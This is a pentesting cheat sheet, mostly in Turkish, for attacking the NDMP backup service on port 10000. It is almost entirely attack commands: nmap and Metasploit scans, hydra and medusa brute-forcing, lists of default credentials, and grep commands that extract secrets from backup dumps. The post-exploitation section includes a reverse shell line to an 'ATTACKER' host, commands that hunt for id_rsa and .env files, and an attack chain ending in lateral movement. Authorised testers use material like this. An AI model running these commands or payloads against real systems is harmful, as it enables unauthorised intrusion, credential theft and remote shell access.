10000 - Pentesting Network Data Management Protocol (ndmp)

NDMP backup

NDMP yedek istemcisi ile tape/disk motoru arasında dosya listeler. Açık servis host/volume ve zayıf kimlik verir; yedekten secret çıkar.

Metodoloji

1. TCP/10000 NDMP ve sürümü doğrula.

2. Anonim/default kimlik dene.

3. fs-info / volume kataloğu çek.

4. Yedekten credential ve pivot malzemesi çıkar.

Keşif

nmap -Pn -sV -p10000 TARGET

nmap -Pn -p10000 --script ndmp-version,ndmp-fs-info TARGET

msfconsole -q -x 'use auxiliary/scanner/ndmp/ndmp_version; set RHOSTS TARGET; run; exit'

nc -nv TARGET 10000

Kimlik

hydra -L users.txt -P pass.txt ndmp://TARGET

nmap -p10000 --script ndmp-brute TARGET

ndmp/ndmp, root/root, backup/backup, admin/admin

Volume & dosya

nmap -p10000 --script ndmp-fs-info TARGET

Interesting paths: /etc, webroot, VM disks, SQL dumps

strings backup.dump | grep -iE 'password|BEGIN RSA|secret' | head

Post-erişim

mkdir -p loot/ndmp && cp -a extracted loot/ndmp/

grep -RniE 'password|apikey|secret' loot/ndmp | head

Derin enum

Network Data Management Protocol (ndmp) için ek keşif ve fingerprint.

nmap -Pn -sV -sC -p10000 TARGET

nmap -Pn -p10000 --script safe,discovery TARGET

timeout 5 bash -c 'echo | openssl s_client -connect TARGET:10000' 2>/dev/null | head

python3 -c "import socket;s=socket.create_connection(('TARGET',10000));s.settimeout(3);print(s.recv(4096))"

Banner / TLS / ALPN notları → Network Data Management Protocol (ndmp)

Kimlik & brute (ek)

hydra -L users.txt -P rockyou.txt -s 10000 PROTOCOL://TARGET -t 4

medusa -h TARGET -U users.txt -P rockyou.txt -M PROTOCOL -n 10000

nmap -p10000 --script '*-brute' TARGET

admin/admin, root/root, guest/(boş), test/test

Exploit arama

searchsploit NDMP

msfconsole -q -x 'search NDMP; exit'

nuclei -u https://TARGET:10000 -t cves/ -silent -severity || true

nuclei -u http://TARGET:10000 -tags tech -silent || true

Manuel protokol

nc -nv TARGET 10000

printf '
' | timeout 3 nc -nv TARGET 10000

curl -vk --http1.0 http://TARGET:10000/

Wireshark/tcpdump ile konuşmayı kaydet; replay dene

Post-erişim & loot

config, key, session, env, backup

find / -name '*.conf' -o -name '*.env' -o -name 'id_rsa' 2>/dev/null | head

ss -lntp; ip a; cat /etc/passwd | head

bash -i >& /dev/tcp/ATTACKER/443 0>&1

mkdir -p loot && tee loot/notes.txt

Operasyon checklist

[ ] Fingerprint / sürüm
[ ] Auth ve anonim erişim
[ ] PoC etki gösterildi
[ ] Credential/shell paketlendi
[ ] Pivot notu

Zincir

ndmp-version → default creds → fs-info → backup extract → creds → lateral